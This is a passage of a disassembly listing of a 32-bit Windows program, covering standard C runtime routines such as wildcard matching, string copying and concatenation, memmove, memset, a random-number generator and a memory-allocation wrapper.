sub_40AECF mov esi, [ebp+arg_0] dec esi loc_40AE03: ; CODE XREF: sub_40ADA7+49j pop ecx pop ecx loc_40AE05: ; CODE XREF: sub_40ADA7+33j inc esi mov [ebp+arg_0], esi loc_40AE09: ; CODE XREF: sub_40ADA7+Aj mov cl, [esi] test cl, cl jnz short loc_40ADB3 jmp short loc_40AE1A ; --------------------------------------------------------------------------- loc_40AE11: ; CODE XREF: sub_40ADA7+76j cmp eax, 1 jnz short loc_40AE36 inc esi mov [ebp+arg_0], esi loc_40AE1A: ; CODE XREF: sub_40ADA7+Fj ; sub_40ADA7+18j ... cmp byte ptr [esi], 2Ah jz short loc_40AE11 cmp eax, 1 jnz short loc_40AE36 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40AE36 cmp byte ptr [esi], 0 jnz short loc_40AE36 xor eax, eax inc eax jmp short loc_40AE38 ; --------------------------------------------------------------------------- loc_40AE36: ; CODE XREF: sub_40ADA7+6Dj ; sub_40ADA7+7Bj ... xor eax, eax loc_40AE38: ; CODE XREF: sub_40ADA7+8Dj pop esi pop ebp retn sub_40ADA7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE3B proc near ; CODE XREF: sub_40ADA7+41p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi xor eax, eax mov ecx, [edx] and [ebp+var_8], edi inc eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40AE5C inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40AE5C: ; CODE XREF: sub_40AE3B+19j push ebx push esi loc_40AE5E: ; CODE XREF: sub_40AE3B+77j mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40AE6C cmp [ebp+var_4], eax jnz short loc_40AEB4 loc_40AE6C: ; CODE XREF: sub_40AE3B+2Aj test edi, edi jnz short loc_40AEA9 cmp bl, 2Dh jnz short loc_40AE9D lea esi, [ecx+1] mov cl, [ecx-1] mov al, [esi] cmp cl, al jge short loc_40AE9D cmp al, 5Dh jz short loc_40AE9D cmp [ebp+var_4], edi jnz short loc_40AE9D mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40AEA9 cmp bl, al jg short loc_40AEA9 mov [edx], esi jmp short loc_40AEA6 ; --------------------------------------------------------------------------- loc_40AE9D: ; CODE XREF: sub_40AE3B+38j ; sub_40AE3B+44j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40AEA9 loc_40AEA6: ; CODE XREF: sub_40AE3B+60j xor edi, edi inc edi loc_40AEA9: ; CODE XREF: sub_40AE3B+33j ; sub_40AE3B+58j ... inc dword ptr [edx] and [ebp+var_4], 0 xor eax, eax inc eax jmp short loc_40AE5E ; --------------------------------------------------------------------------- loc_40AEB4: ; CODE XREF: sub_40AE3B+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40AEC1 mov ecx, eax sub ecx, edi mov edi, ecx loc_40AEC1: ; CODE XREF: sub_40AE3B+7Ej cmp edi, eax jnz short loc_40AECA mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40AECA: ; CODE XREF: sub_40AE3B+88j mov eax, edi pop edi leave retn sub_40AE3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AECF proc near ; CODE XREF: sub_40ADA7+53p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] xor ebx, ebx jmp short loc_40AEFF ; --------------------------------------------------------------------------- loc_40AEE9: ; CODE XREF: sub_40AECF+36j mov dl, [eax] cmp dl, 3Fh jz short loc_40AEFA cmp dl, 2Ah jnz short loc_40AF0C cmp dl, 3Fh jnz short loc_40AEFD loc_40AEFA: ; CODE XREF: sub_40AECF+1Fj inc ecx mov [edi], ecx loc_40AEFD: ; CODE XREF: sub_40AECF+29j inc dword ptr [esi] loc_40AEFF: ; CODE XREF: sub_40AECF+18j mov ecx, [edi] mov eax, [esi] cmp [ecx], bl jnz short loc_40AEE9 jmp short loc_40AF0C ; --------------------------------------------------------------------------- loc_40AF09: ; CODE XREF: sub_40AECF+40j inc eax mov [esi], eax loc_40AF0C: ; CODE XREF: sub_40AECF+24j ; sub_40AECF+38j cmp byte ptr [eax], 2Ah jz short loc_40AF09 mov ecx, [edi] mov dl, [ecx] cmp dl, bl jnz short loc_40AF2E cmp [eax], bl jz short loc_40AF21 xor eax, eax jmp short loc_40AF8B ; --------------------------------------------------------------------------- loc_40AF21: ; CODE XREF: sub_40AECF+4Cj cmp dl, bl jnz short loc_40AF2E cmp [eax], bl jnz short loc_40AF2E xor eax, eax inc eax jmp short loc_40AF8B ; --------------------------------------------------------------------------- loc_40AF2E: ; CODE XREF: sub_40AECF+48j ; sub_40AECF+54j ... push ecx push eax call sub_40ADA7 pop ecx test eax, eax pop ecx jnz short loc_40AF75 loc_40AF3B: ; CODE XREF: sub_40AECF+A4j inc dword ptr [edi] mov eax, [edi] jmp short loc_40AF4D ; --------------------------------------------------------------------------- loc_40AF41: ; CODE XREF: sub_40AECF+86j cmp cl, 5Bh jz short loc_40AF57 cmp dl, bl jz short loc_40AF57 inc eax mov [edi], eax loc_40AF4D: ; CODE XREF: sub_40AECF+70j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jnz short loc_40AF41 loc_40AF57: ; CODE XREF: sub_40AECF+75j ; sub_40AECF+79j cmp [eax], bl jz short loc_40AF6C push eax push dword ptr [esi] call sub_40ADA7 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40AF71 ; --------------------------------------------------------------------------- loc_40AF6C: ; CODE XREF: sub_40AECF+8Aj mov [ebp+var_4], ebx xor eax, eax loc_40AF71: ; CODE XREF: sub_40AECF+9Bj cmp eax, ebx jnz short loc_40AF3B loc_40AF75: ; CODE XREF: sub_40AECF+6Aj mov eax, [edi] cmp [eax], bl jnz short loc_40AF88 mov eax, [esi] cmp [eax], bl jnz short loc_40AF88 mov [ebp+var_4], 1 loc_40AF88: ; CODE XREF: sub_40AECF+AAj ; sub_40AECF+B0j mov eax, [ebp+var_4] loc_40AF8B: ; CODE XREF: sub_40AECF+50j ; sub_40AECF+5Dj pop edi pop esi pop ebx leave retn sub_40AECF endp ; =============== S U B R O U T I N E ======================================= sub_40AF90 proc near ; CODE XREF: sub_401000+5Cp ; sub_401000+9Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_40B044 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_40AFBA loc_40AFAB: ; CODE XREF: sub_40AF90+28j mov al, [edi] inc edi test al, al jz short loc_40AFEB test edi, 3 jnz short loc_40AFAB loc_40AFBA: ; CODE XREF: sub_40AF90+19j ; sub_40AF90+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_40AFBA mov eax, [edi-4] test al, al jz short loc_40AFF8 test ah, ah jz short loc_40AFF3 test eax, 0FF0000h jz short loc_40AFEE test eax, 0FF000000h jnz short loc_40AFBA loc_40AFEB: ; CODE XREF: sub_40AF90+20j dec edi jmp short loc_40AFFB ; --------------------------------------------------------------------------- loc_40AFEE: ; CODE XREF: sub_40AF90+52j sub edi, 2 jmp short loc_40AFFB ; --------------------------------------------------------------------------- loc_40AFF3: ; CODE XREF: sub_40AF90+4Bj sub edi, 3 jmp short loc_40AFFB ; --------------------------------------------------------------------------- loc_40AFF8: ; CODE XREF: sub_40AF90+47j sub edi, 4 loc_40AFFB: ; CODE XREF: sub_40AF90+5Cj ; sub_40AF90+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_40B010 mov ebx, ecx shr ecx, 2 jnz short loc_40B05C jmp short loc_40B02C ; --------------------------------------------------------------------------- loc_40B010: ; CODE XREF: sub_40AF90+75j ; sub_40AF90+93j mov dl, [esi] inc esi test dl, dl jz short loc_40B04A mov [edi], dl inc edi dec ecx jz short loc_40B040 test esi, 3 jnz short loc_40B010 mov ebx, ecx shr ecx, 2 jnz short loc_40B05C loc_40B02C: ; CODE XREF: sub_40AF90+7Ej ; sub_40AF90+CAj mov ecx, ebx and ecx, 3 jz short loc_40B040 loc_40B033: ; CODE XREF: sub_40AF90+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_40B042 dec ecx jnz short loc_40B033 loc_40B040: ; CODE XREF: sub_40AF90+8Bj ; sub_40AF90+A1j mov [edi], cl loc_40B042: ; CODE XREF: sub_40AF90+ABj pop ebx pop esi loc_40B044: ; CODE XREF: sub_40AF90+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40B04A: ; CODE XREF: sub_40AF90+85j ; sub_40AF90+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_40B054: ; CODE XREF: sub_40AF90+E4j ; sub_40AF90+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_40B02C loc_40B05C: ; CODE XREF: sub_40AF90+7Cj ; sub_40AF90+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_40B054 test dl, dl jz short loc_40B04A test dh, dh jz short loc_40B0A8 test edx, 0FF0000h jz short loc_40B098 test edx, 0FF000000h jnz short loc_40B054 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_40B098: ; CODE XREF: sub_40AF90+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_40B0A8: ; CODE XREF: sub_40AF90+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_40AF90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B0B3 proc near ; CODE XREF: sub_401000+19p ; sub_401000+48p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_40D768 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_40B0F3 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_40B100 ; --------------------------------------------------------------------------- loc_40B0F3: ; CODE XREF: sub_40B0B3+36j lea eax, [ebp+var_20] push eax push 0 call sub_40D653 pop ecx pop ecx loc_40B100: ; CODE XREF: sub_40B0B3+3Ej mov eax, esi pop esi leave retn sub_40B0B3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40B110 proc near ; CODE XREF: sub_401141+6Ep ; sub_401141+9Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_40B193 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_40B134 shr ecx, 2 jnz short loc_40B1A1 jmp short loc_40B155 ; --------------------------------------------------------------------------- loc_40B134: ; CODE XREF: sub_40B110+1Bj ; sub_40B110+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_40B162 test al, al jz short loc_40B16A test esi, 3 jnz short loc_40B134 mov ebx, ecx shr ecx, 2 jnz short loc_40B1A1 loc_40B150: ; CODE XREF: sub_40B110+8Fj and ebx, 3 jz short loc_40B162 loc_40B155: ; CODE XREF: sub_40B110+22j ; sub_40B110+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_40B18E dec ebx jnz short loc_40B155 loc_40B162: ; CODE XREF: sub_40B110+2Bj ; sub_40B110+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_40B16A: ; CODE XREF: sub_40B110+2Fj test edi, 3 jz short loc_40B184 loc_40B172: ; CODE XREF: sub_40B110+72j mov [edi], al inc edi dec ecx jz loc_40B206 test edi, 3 jnz short loc_40B172 loc_40B184: ; CODE XREF: sub_40B110+60j mov ebx, ecx shr ecx, 2 jnz short loc_40B1F7 loc_40B18B: ; CODE XREF: sub_40B110+7Fj ; sub_40B110+F4j mov [edi], al inc edi loc_40B18E: ; CODE XREF: sub_40B110+4Dj dec ebx jnz short loc_40B18B pop ebx pop esi loc_40B193: ; CODE XREF: sub_40B110+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40B199: ; CODE XREF: sub_40B110+A9j ; sub_40B110+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_40B150 loc_40B1A1: ; CODE XREF: sub_40B110+20j ; sub_40B110+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_40B199 test dl, dl jz short loc_40B1EB test dh, dh jz short loc_40B1E1 test edx, 0FF0000h jz short loc_40B1D7 test edx, 0FF000000h jnz short loc_40B199 mov [edi], edx jmp short loc_40B1EF ; --------------------------------------------------------------------------- loc_40B1D7: ; CODE XREF: sub_40B110+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_40B1EF ; --------------------------------------------------------------------------- loc_40B1E1: ; CODE XREF: sub_40B110+B1j and edx, 0FFh mov [edi], edx jmp short loc_40B1EF ; --------------------------------------------------------------------------- loc_40B1EB: ; CODE XREF: sub_40B110+ADj xor edx, edx mov [edi], edx loc_40B1EF: ; CODE XREF: sub_40B110+C5j ; sub_40B110+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_40B201 loc_40B1F7: ; CODE XREF: sub_40B110+79j xor eax, eax loc_40B1F9: ; CODE XREF: sub_40B110+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_40B1F9 loc_40B201: ; CODE XREF: sub_40B110+E5j and ebx, 3 jnz short loc_40B18B loc_40B206: ; CODE XREF: sub_40B110+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_40B110 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B210 proc near ; CODE XREF: sub_4013CA+15p ; sub_4013CA+3Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_40B230 cmp edi, eax jb loc_40B3A8 loc_40B230: ; CODE XREF: sub_40B210+16j test edi, 3 jnz short loc_40B24C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_40B26C rep movsd jmp off_40B358[edx*4] ; --------------------------------------------------------------------------- loc_40B24C: ; CODE XREF: sub_40B210+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_40B264 and eax, 3 add ecx, eax jmp dword ptr loc_40B26C+4[eax*4] ; --------------------------------------------------------------------------- loc_40B264: ; CODE XREF: sub_40B210+46j jmp dword ptr loc_40B368[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40B26C: ; CODE XREF: sub_40B210+31j ; sub_40B210+8Ej ... jmp off_40B2EC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_40B27C+4 dd offset loc_40B2AC ; --------------------------------------------------------------------------- loc_40B27C: ; DATA XREF: sub_40B210+64o sal byte ptr [edx-2EDCFFC0h], 1 mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_40B26C rep movsd jmp off_40B358[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40B2AC: ; DATA XREF: sub_40B210+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_40B26C rep movsd jmp off_40B358[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_40B26C rep movsd jmp off_40B358[edx*4] ; --------------------------------------------------------------------------- align 4 off_40B2EC dd offset loc_40B34F ; DATA XREF: sub_40B210:loc_40B26Cr dd offset loc_40B33C dd offset loc_40B334 dd offset loc_40B32C dd offset loc_40B324 dd offset loc_40B31C dd offset loc_40B314 dd offset loc_40B30C ; --------------------------------------------------------------------------- loc_40B30C: ; CODE XREF: sub_40B210:loc_40B26Cj ; DATA XREF: sub_40B210+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_40B314: ; CODE XREF: sub_40B210:loc_40B26Cj ; DATA XREF: sub_40B210+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_40B31C: ; CODE XREF: sub_40B210:loc_40B26Cj ; DATA XREF: sub_40B210+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_40B324: ; CODE XREF: sub_40B210:loc_40B26Cj ; DATA XREF: sub_40B210+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_40B32C: ; CODE XREF: sub_40B210:loc_40B26Cj ; DATA XREF: sub_40B210+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_40B334: ; CODE XREF: sub_40B210:loc_40B26Cj ; DATA XREF: sub_40B210+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_40B33C: ; CODE XREF: sub_40B210:loc_40B26Cj ; DATA XREF: sub_40B210+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_40B34F: ; CODE XREF: sub_40B210:loc_40B26Cj ; DATA XREF: sub_40B210:off_40B2ECo jmp off_40B358[edx*4] ; --------------------------------------------------------------------------- align 4 off_40B358 dd offset loc_40B368 ; DATA XREF: sub_40B210+35r ; sub_40B210+92r ... dd offset loc_40B370 dd offset loc_40B37C dd offset loc_40B390 ; --------------------------------------------------------------------------- loc_40B368: ; CODE XREF: sub_40B210+35j ; sub_40B210+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_40B370: ; CODE XREF: sub_40B210+35j ; sub_40B210+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40B37C: ; CODE XREF: sub_40B210+35j ; sub_40B210+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_40B390: ; CODE XREF: sub_40B210+35j ; sub_40B210+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40B3A8: ; CODE XREF: sub_40B210+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_40B3DC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_40B3D0 std rep movsd cld jmp off_40B4F0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_40B3D0: ; CODE XREF: sub_40B210+1B1j ; sub_40B210+208j ... neg ecx jmp off_40B4A0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40B3DC: ; CODE XREF: sub_40B210+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_40B3F4 and eax, 3 sub ecx, eax jmp dword ptr loc_40B3F4+4[eax*4] ; --------------------------------------------------------------------------- loc_40B3F4: ; CODE XREF: sub_40B210+1D6j ; DATA XREF: sub_40B210+1DDr jmp off_40B4F0[ecx*4] ; --------------------------------------------------------------------------- align 4 or [eax+eax*2+40B42800h], dh add [eax-4Ch], dl inc eax add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_40B3D0 std rep movsd cld jmp off_40B4F0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_40B3D0 std rep movsd cld jmp off_40B4F0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_40B3D0 std rep movsd cld jmp off_40B4F0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_40B4A4 dd offset loc_40B4AC dd offset loc_40B4B4 dd offset loc_40B4BC dd offset loc_40B4C4 dd offset loc_40B4CC dd offset loc_40B4D4 off_40B4A0 dd offset loc_40B4E7 ; DATA XREF: sub_40B210+1C2r ; --------------------------------------------------------------------------- loc_40B4A4: ; DATA XREF: sub_40B210+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_40B4AC: ; DATA XREF: sub_40B210+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_40B4B4: ; DATA XREF: sub_40B210+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_40B4BC: ; DATA XREF: sub_40B210+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_40B4C4: ; DATA XREF: sub_40B210+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_40B4CC: ; DATA XREF: sub_40B210+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_40B4D4: ; DATA XREF: sub_40B210+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_40B4E7: ; CODE XREF: sub_40B210+1C2j ; DATA XREF: sub_40B210:off_40B4A0o jmp off_40B4F0[edx*4] ; --------------------------------------------------------------------------- align 10h off_40B4F0 dd offset loc_40B500 ; DATA XREF: sub_40B210+1B7r ; sub_40B210:loc_40B3F4r ... dd offset loc_40B508 dd offset loc_40B518 dd offset loc_40B52C ; --------------------------------------------------------------------------- loc_40B500: ; CODE XREF: sub_40B210+1B7j ; sub_40B210:loc_40B3F4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40B508: ; CODE XREF: sub_40B210+1B7j ; sub_40B210:loc_40B3F4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40B518: ; CODE XREF: sub_40B210+1B7j ; sub_40B210:loc_40B3F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40B52C: ; CODE XREF: sub_40B210+1B7j ; sub_40B210:loc_40B3F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_40B210 endp ; =============== S U B R O U T I N E ======================================= sub_40B545 proc near ; CODE XREF: sub_40154B+33p ; sub_403E11+54p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_41DBB0, eax retn sub_40B545 endp ; =============== S U B R O U T I N E ======================================= sub_40B54F proc near ; CODE XREF: sub_401412+4Dp ; sub_401412+5Ap ... mov eax, dword_41DBB0 imul eax, 343FDh add eax, 269EC3h mov dword_41DBB0, eax sar eax, 10h and eax, 7FFFh retn sub_40B54F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B56D proc near ; CODE XREF: sub_401412+40p ; sub_403E11+24Cp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_40B5B0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_40DF72 add esp, 10h leave retn sub_40B56D endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40B5B0 proc near ; CODE XREF: sub_401412+19p ; sub_401B3F+7p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_40B5D0 loc_40B5BC: ; CODE XREF: sub_40B5B0+19j mov al, [ecx] inc ecx test al, al jz short loc_40B603 test ecx, 3 jnz short loc_40B5BC add eax, 0 loc_40B5D0: ; CODE XREF: sub_40B5B0+Aj ; sub_40B5B0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_40B5D0 mov eax, [ecx-4] test al, al jz short loc_40B621 test ah, ah jz short loc_40B617 test eax, 0FF0000h jz short loc_40B60D test eax, 0FF000000h jz short loc_40B603 jmp short loc_40B5D0 ; --------------------------------------------------------------------------- loc_40B603: ; CODE XREF: sub_40B5B0+11j ; sub_40B5B0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40B60D: ; CODE XREF: sub_40B5B0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40B617: ; CODE XREF: sub_40B5B0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40B621: ; CODE XREF: sub_40B5B0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_40B5B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40B630 proc near ; CODE XREF: sub_401965+1Ap ; sub_40199F+22p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_40B683 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_40B677 neg ecx and ecx, 3 jz short loc_40B659 sub edx, ecx loc_40B653: ; CODE XREF: sub_40B630+27j mov [edi], al inc edi dec ecx jnz short loc_40B653 loc_40B659: ; CODE XREF: sub_40B630+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_40B677 rep stosd test edx, edx jz short loc_40B67D loc_40B677: ; CODE XREF: sub_40B630+18j ; sub_40B630+3Fj ... mov [edi], al inc edi dec edx jnz short loc_40B677 loc_40B67D: ; CODE XREF: sub_40B630+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40B683: ; CODE XREF: sub_40B630+Aj mov eax, [esp+arg_0] retn sub_40B630 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40B690 proc near ; CODE XREF: sub_402972+5p ; sub_403CA3+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_40B6B0 loc_40B69C: ; CODE XREF: sub_40B690+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_40B69C loc_40B6B0: ; CODE XREF: sub_40B690+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_40B690 endp ; =============== S U B R O U T I N E ======================================= sub_40B6BF proc near ; CODE XREF: sub_401965+Ap ; sub_40199F+12p ... arg_0 = dword ptr 4 push dword_47F96C push [esp+4+arg_0] call sub_40B6D1 pop ecx pop ecx retn sub_40B6BF endp ; =============== S U B R O U T I N E ======================================= sub_40B6D1 proc near ; CODE XREF: sub_40B6BF+Ap ; sub_40C185+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_40B6FA loc_40B6D8: ; CODE XREF: sub_40B6D1+27j push [esp+arg_0] call sub_40B6FD test eax, eax pop ecx jnz short locret_40B6FC cmp [esp+arg_4], eax jz short locret_40B6FC push [esp+arg_0] call sub_40EA23 test eax, eax pop ecx jnz short loc_40B6D8 loc_40B6FA: ; CODE XREF: sub_40B6D1+5j xor eax, eax locret_40B6FC: ; CODE XREF: sub_40B6D1+13j ; sub_40B6D1+19j retn 